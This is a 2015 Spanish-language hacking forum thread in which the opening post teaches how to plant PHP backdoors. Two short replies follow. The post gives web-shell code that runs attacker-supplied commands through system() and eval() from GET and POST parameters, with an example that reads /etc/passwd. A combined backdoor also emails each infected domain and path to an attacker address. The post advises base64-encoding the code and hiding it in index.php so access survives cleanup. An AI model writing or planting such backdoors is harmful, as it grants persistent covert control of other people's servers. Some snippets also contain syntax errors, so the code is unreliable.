Backdooring con PHP.

Iniciado por Payasako, 14 Junio 2015, 12:40 PM

0 Miembros y 1 Visitante están viendo este tema.

Payasako


Hola internautas, en este post hablaré sobre técnicas para tener un archivo ya sea .PHP ó .HTML a nuestro control. No me hago responsable sobre el uso que le den a este post. Solo lo hago por cuestiones educativas y éticas.

Para el que no sepa que es un Backdoor, cito a mi amiga la Wikipedia.
Citaruna puerta trasera (o en inglés backdoor), en un sistema informático es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema.


Temario de funciones
1-System()
2-Variable Global $_SERVER[]
2.1- $_SERVER['REMOTE_ADDR']
2.2-$_SERVER['PHP_SELF']
2.3-$_SERVER['SERVER_NAME']
3-mail()
4-eval()

System()
No dudo que ya conozcas está función ya que es la más conocida para estos temas.

Para poder usarla solo debemos declarar:
Citar
Código (php) [Seleccionar]
<?php
system
('comando');
?>
¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?
Citar
Código (php) [Seleccionar]
<?php
$var 
= @system($_GET['ejec']);
?>

Podriamos entrar desde:
Citarurl.com/archivoinfectado.php?ejec=comando

un ejemplo así:
Citarurl.com/archivoinfectado.php?ejec=cat /etc/passwd
y nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor
dependeran los comandos, es decir si tiene linux son comandos linux y si tiene windows pues son
comandos windows, :genius:

Si no están 100% familiarizados con linux les dejo unos comandos que podrian servirles:
Mover un archivo: mv archivo /carpeta/
Renombrar un archivo: mv archivo archivorenombrado
Crear un archivo: touch archivo
Descargar archivos: wget url.com/lol.txt (Se descargará un archivo lol.txt)
Eliminar un archivo: rm archivo
Copiar un archivo: cp archivo archivocopiado

Variable global $_SERVER
$_SERVER['REMOTE_ADDR'] – Muestra la ip de el usuario que está abriendo el script

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>

Mostrará la IP de quien lo abra.
$_SERVER['PHP_SELF']- Muestra la ruta en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>

Mostrará la ruta de el script, es decir si estamos en web.com/hola/lol.php te mostrara /hola/lol.php
$_SERVER['SERVER_NAME'] – Muestra el dominio en el que se está ejecutando el script.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>

Te mostrará en la pantalla Estamos en el dominio http://web.com


Mail()
Está función sirve para enviar un mail.

Modo de uso:
mail('Para', 'Asunto', 'Contenido')
NOTA: Esto se puede almacenar en variables pero como he dicho no estoy enseñando a programar PHP.

Entonces si yo pongo en un script:
Citar
Código (php) [Seleccionar]
<?php
mail
('elhacker@outlook.es''Hola''Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
Al momento de que alguen entre me enviara un email con el asunto Hola y con el contenido "Hola
mucho gusto soy y una IP".

Bueno ya lo que sigue es a su imaginación, lo que deseen hacer.

eval()
Bien, ahora les explicaré está función. Eval es parecida a system con la diferencia en que system ejecuta comandos en el sistema y eval ejecuta código PHP.

Un claro ejemplo de uso.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval("echo 'hola elhacker';");
?>
Si lo ejecutamos veremos que nos mostrará: hola elhacker. Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.

Ejemplo:
Citar
Código (php) [Seleccionar]
<?php
$var 
eval($_GET['ejec']);
?>

lo usamos de está forma:
Citarurl.com/archivoinfectado.php?ejec=echo 'hola';
y miren que claramente nos ejecutará hola.
Bueno si no están muy familiarizados con PHP está ultima función no les ayudará tanto (y si ponen el code de una shell).

Creando nuestros backdoors.
Un backdoor que ejecute comandos en un sistema pero que nos avise por email cuando alguiien haya visitado este script.
Citar
Código (php) [Seleccionar]
<?php
$var 
system($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('elhacker@gmail.com''Nuevo dominio infectado'$domain.$ruta);
?>

Son 4 lineas que podemos incluir en cualquier script, si ponemos estas 4 lineas dentro de una shell y despues ciframos todo en base64... ¿Quíen se dará cuenta? O también podemos incluir estas lineas digamos en el archivo index.php, asi si nos borran una shell seguimos teniendo acceso al servidor.
Citar
Código (php) [Seleccionar]
<?php
$var 
= eval($_POST['ejec');
$domain $_SERVER['SERVER_NAME'];
$ruta $_SERVER['PHP_SELF'];
mail('elhacker@gmail.com''Nuevo dominio infectado'$domain.$ruta);
?>

Bueno hay muchas, muchas formas de darle provecho a estas funciones, Yo solo explique dos.
Usen la imaginación.


Saludos, Payasako.


Three things never return back. A bullet fired, a word that and a missed opportunity.

тαптяα

Pero tengo una duda, como esperas ejecutar esos códigos ..

necesitas acceso al sistema, para editar algun PHP, o es que ya está vulnerable de antes?

3n31ch

Cita de: тαптяα en 14 Junio 2015, 13:09 PM
Pero tengo una duda, como esperas ejecutar esos códigos ..

necesitas acceso al sistema, para editar algún PHP, o es que ya está vulnerable de antes?

+1.

No entiendo, si tienes acceso al sistema, realmente necesitas de estas instrucciones PHP?